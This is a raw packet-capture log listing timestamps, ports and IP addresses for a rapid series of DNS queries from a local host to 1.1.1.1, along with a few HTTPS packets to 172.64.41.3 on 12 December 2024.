Dec 12, 2024 12:09:50.819029093 CET	56187	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:51.039033890 CET	53	56187	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:51.040080070 CET	63688	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:51.352673054 CET	53	63688	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:51.353822947 CET	58542	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:51.574141979 CET	53	58542	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:51.575809002 CET	57332	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:51.799782991 CET	53	57332	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:51.800930977 CET	50553	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:52.018944025 CET	53	50553	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:52.019994020 CET	50444	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:52.243571043 CET	53	50444	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:52.244748116 CET	55483	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:52.469808102 CET	53	55483	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:52.471100092 CET	55297	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:52.782944918 CET	53	55297	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:52.784451962 CET	59206	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:53.002341032 CET	53	59206	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:53.003576994 CET	51186	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:53.223556042 CET	53	51186	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:53.224756002 CET	52193	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:53.447207928 CET	53	52193	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:53.448724985 CET	63960	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:53.674725056 CET	53	63960	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:53.675957918 CET	56736	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:53.989839077 CET	53	56736	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:53.990776062 CET	52930	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:54.213345051 CET	53	52930	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:54.214498997 CET	57784	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:54.439384937 CET	53	57784	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:54.440536976 CET	64503	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:54.660660028 CET	53	64503	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:54.661647081 CET	62535	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:54.974628925 CET	53	62535	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:54.975646019 CET	65127	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:55.192847013 CET	53	65127	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:55.193933964 CET	65024	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:55.417021036 CET	53	65024	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:55.418031931 CET	55026	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:55.645426035 CET	53	55026	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:55.646496058 CET	60577	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:55.957027912 CET	53	60577	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:55.957999945 CET	63352	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:56.178356886 CET	53	63352	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:56.182707071 CET	60615	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:56.493999958 CET	53	60615	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:56.495078087 CET	59221	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:56.714505911 CET	53	59221	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:56.715540886 CET	51274	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:56.939399004 CET	53	51274	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:56.940973997 CET	52076	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:57.165421009 CET	53	52076	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:57.166403055 CET	64791	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:57.388951063 CET	53	64791	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:57.389863014 CET	51233	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:57.615446091 CET	53	51233	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:57.616461992 CET	57052	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:57.847404957 CET	53	57052	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:57.848612070 CET	51041	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:58.162828922 CET	53	51041	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:58.163933992 CET	54629	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:58.388266087 CET	53	54629	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:58.389388084 CET	53989	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:58.614208937 CET	53	53989	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:58.615192890 CET	63993	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:58.925947905 CET	53	63993	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:58.932861090 CET	55988	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:59.246886015 CET	53	55988	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:59.247952938 CET	54176	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:59.556833982 CET	53	54176	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:59.558121920 CET	59105	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:09:59.777645111 CET	53	59105	1.1.1.1	192.168.2.5
Dec 12, 2024 12:09:59.779001951 CET	55177	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:00.206675053 CET	53	55177	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:00.207720041 CET	55574	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:00.432683945 CET	53	55574	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:00.433682919 CET	64861	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:00.658679008 CET	53	64861	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:00.659769058 CET	53097	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:00.887458086 CET	53	53097	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:00.888497114 CET	59153	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:01.109232903 CET	53	59153	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:01.110358953 CET	52335	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:01.341165066 CET	53	52335	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:01.342268944 CET	52860	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:01.568389893 CET	53	52860	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:01.569458961 CET	52536	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:01.799778938 CET	53	52536	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:01.800668001 CET	49273	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:02.121138096 CET	53	49273	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:02.122149944 CET	55090	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:02.347026110 CET	53	55090	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:02.353126049 CET	56430	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:02.573895931 CET	53	56430	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:02.574822903 CET	55133	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:02.889916897 CET	53	55133	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:02.890826941 CET	64967	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:03.201245070 CET	53	64967	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:03.202438116 CET	52045	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:03.519243956 CET	53	52045	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:03.520443916 CET	55668	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:03.746479988 CET	53	55668	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:03.751173973 CET	62981	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:04.062796116 CET	53	62981	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:04.063777924 CET	49631	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:04.289557934 CET	53	49631	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:04.290635109 CET	52993	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:04.603418112 CET	53	52993	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:04.604465961 CET	50113	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:04.917782068 CET	53	50113	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:04.918951988 CET	55502	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:05.143326044 CET	53	55502	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:05.144407988 CET	51140	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:05.455452919 CET	53	51140	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:05.456496954 CET	55482	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:05.680944920 CET	53	55482	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:05.681950092 CET	56907	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:05.904699087 CET	53	56907	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:05.905684948 CET	57215	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:06.127897024 CET	53	57215	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:06.128906965 CET	56304	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:06.438993931 CET	53	56304	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:06.440022945 CET	51576	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:06.757174015 CET	53	51576	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:06.758460999 CET	54696	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:07.075748920 CET	53	54696	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:07.077876091 CET	53196	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:07.299551964 CET	53	53196	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:07.300863981 CET	61723	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:07.539895058 CET	53	61723	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:07.540920973 CET	52897	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:07.759042978 CET	53	52897	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:07.760222912 CET	49367	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:07.982774019 CET	53	49367	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:07.984040976 CET	52552	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:08.207380056 CET	53	52552	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:08.208302021 CET	60260	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:08.439371109 CET	53	60260	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:08.440534115 CET	49875	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:08.666074038 CET	53	49875	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:08.667052984 CET	61385	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:08.891309023 CET	53	61385	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:08.892179012 CET	51314	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:09.203883886 CET	53	51314	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:09.212451935 CET	55807	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:09.431488037 CET	53	55807	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:09.432373047 CET	64361	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:09.745629072 CET	53	64361	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:09.746609926 CET	60828	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:09.970685005 CET	53	60828	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:09.971740961 CET	59118	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:10.202055931 CET	53	59118	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:10.203067064 CET	64603	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:10.448250055 CET	53	64603	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:10.449157000 CET	59664	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:10.757209063 CET	53	59664	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:10.758133888 CET	63744	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:10.984277964 CET	53	63744	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:10.985302925 CET	64607	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:11.208930969 CET	53	64607	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:11.210017920 CET	54213	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:11.429580927 CET	53	54213	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:11.430726051 CET	51049	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:11.657490969 CET	53	51049	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:11.658395052 CET	58862	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:11.968174934 CET	53	58862	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:11.969325066 CET	64007	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:12.187463045 CET	53	64007	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:12.188400030 CET	61886	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:12.412170887 CET	53	61886	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:12.413186073 CET	51209	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:12.640440941 CET	53	51209	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:12.641886950 CET	65092	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:12.955881119 CET	53	65092	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:12.956986904 CET	53516	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:13.268956900 CET	53	53516	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:13.269947052 CET	56805	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:13.583187103 CET	53	56805	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:13.584258080 CET	49621	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:13.802242041 CET	53	49621	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:13.803211927 CET	58586	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:14.025047064 CET	53	58586	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:14.026089907 CET	55253	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:14.340720892 CET	53	55253	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:14.343425989 CET	50754	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:14.572340012 CET	53	50754	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:14.573537111 CET	64462	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:14.797041893 CET	53	64462	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:14.798149109 CET	56139	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:15.025579929 CET	53	56139	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:15.026546955 CET	51063	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:15.253071070 CET	53	51063	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:15.254199982 CET	49724	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:15.477766037 CET	53	49724	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:15.478658915 CET	50021	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:15.790471077 CET	53	50021	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:15.791593075 CET	51770	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:16.014673948 CET	53	51770	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:16.015975952 CET	54127	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:16.245405912 CET	53	54127	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:16.246800900 CET	63621	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:16.469912052 CET	53	63621	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:16.470911026 CET	60423	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:16.692795992 CET	53	60423	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:16.693891048 CET	56542	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:17.004517078 CET	53	56542	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:17.005677938 CET	59298	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:17.317605972 CET	53	59298	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:17.318846941 CET	61673	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:17.541925907 CET	53	61673	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:17.543176889 CET	56276	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:17.766699076 CET	53	56276	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:17.768846989 CET	65195	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:18.086498022 CET	53	65195	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:18.087656975 CET	60001	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:18.307859898 CET	53	60001	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:18.308991909 CET	56371	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:18.623928070 CET	53	56371	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:18.624826908 CET	58725	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:18.852634907 CET	53	58725	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:18.853859901 CET	53078	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:19.082741022 CET	53	53078	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:19.084043980 CET	49701	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:19.315536022 CET	53	49701	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:19.316628933 CET	59373	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:19.630686045 CET	53	59373	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:19.631936073 CET	53135	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:19.854176044 CET	53	53135	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:19.873781919 CET	50087	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:20.190267086 CET	53	50087	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:20.191217899 CET	55867	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:20.501658916 CET	53	55867	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:20.504657984 CET	50121	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:20.733223915 CET	53	50121	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:20.734316111 CET	61087	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:20.951904058 CET	53	61087	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:20.952886105 CET	52298	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:21.175985098 CET	53	52298	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:21.177076101 CET	54199	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:21.398392916 CET	53	54199	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:21.401278019 CET	58551	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:21.621408939 CET	53	58551	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:21.622484922 CET	63566	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:21.843741894 CET	53	63566	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:21.846229076 CET	65458	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:22.160289049 CET	53	65458	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:22.161165953 CET	64134	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:22.385323048 CET	53	64134	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:22.387434006 CET	54981	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:22.607558012 CET	53	54981	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:22.743951082 CET	60010	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:22.982217073 CET	53	60010	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:22.983467102 CET	52505	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:23.209261894 CET	53	52505	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:23.210357904 CET	64297	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:23.435611010 CET	53	64297	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:23.436860085 CET	57306	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:23.658520937 CET	53	57306	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:23.660245895 CET	53709	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:23.884875059 CET	53	53709	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:23.885921001 CET	62317	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:24.111521959 CET	53	62317	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:24.112664938 CET	59647	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:24.337357044 CET	53	59647	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:24.338823080 CET	63876	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:24.560234070 CET	53	63876	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:24.561305046 CET	60145	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:24.876307011 CET	53	60145	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:24.879262924 CET	64293	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:25.098743916 CET	53	64293	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:25.099920034 CET	53954	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:25.414505005 CET	53	53954	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:25.415591002 CET	50526	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:25.640525103 CET	53	50526	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:25.641695023 CET	61371	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:25.955461979 CET	53	61371	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:25.956634998 CET	64362	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:26.274549007 CET	53	64362	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:26.275507927 CET	58603	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:26.493789911 CET	53	58603	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:26.494661093 CET	49503	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:26.717921972 CET	53	49503	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:26.718982935 CET	52552	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:26.937470913 CET	53	52552	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:26.938445091 CET	51315	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:27.158910036 CET	53	51315	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:27.160343885 CET	63587	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:27.385303974 CET	53	63587	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:27.386435032 CET	59049	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:27.603703976 CET	53	59049	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:27.604708910 CET	56242	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:27.825715065 CET	53	56242	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:27.826973915 CET	56252	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:28.051187038 CET	53	56252	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:28.052577972 CET	54161	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:28.276580095 CET	53	54161	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:28.278029919 CET	49578	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:28.509596109 CET	53	49578	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:28.510946989 CET	64269	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:28.736644030 CET	53	64269	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:28.740204096 CET	52191	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:28.968394995 CET	53	52191	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:28.969435930 CET	51043	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:29.198460102 CET	53	51043	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:29.199500084 CET	57516	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:29.511820078 CET	53	57516	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:29.512923002 CET	61824	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:29.821490049 CET	53	61824	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:29.822594881 CET	57589	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:30.045164108 CET	53	57589	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:30.046190023 CET	61576	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:30.270961046 CET	53	61576	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:30.271995068 CET	58839	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:30.493138075 CET	53	58839	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:30.494107962 CET	52749	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:30.711508989 CET	53	52749	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:30.712632895 CET	58153	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:30.813147068 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:30.813317060 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:30.813709021 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:30.813863993 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.032933950 CET	53	58153	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:31.034228086 CET	55342	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:31.349464893 CET	53	55342	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:31.350652933 CET	52654	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:31.570101023 CET	53	52654	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:31.571172953 CET	50995	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:31.790824890 CET	53	50995	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:31.791826010 CET	49538	53	192.168.2.5	1.1.1.1
Dec 12, 2024 12:10:31.827269077 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.827337027 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.827812910 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.827975988 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.898032904 CET	443	61052	172.64.41.3	192.168.2.5
Dec 12, 2024 12:10:31.898714066 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.936302900 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.967858076 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:31.967895031 CET	61052	443	192.168.2.5	172.64.41.3
Dec 12, 2024 12:10:32.093672037 CET	53	49538	1.1.1.1	192.168.2.5
Dec 12, 2024 12:10:32.094887972 CET	50923	53	192.168.2.5	1.1.1.1
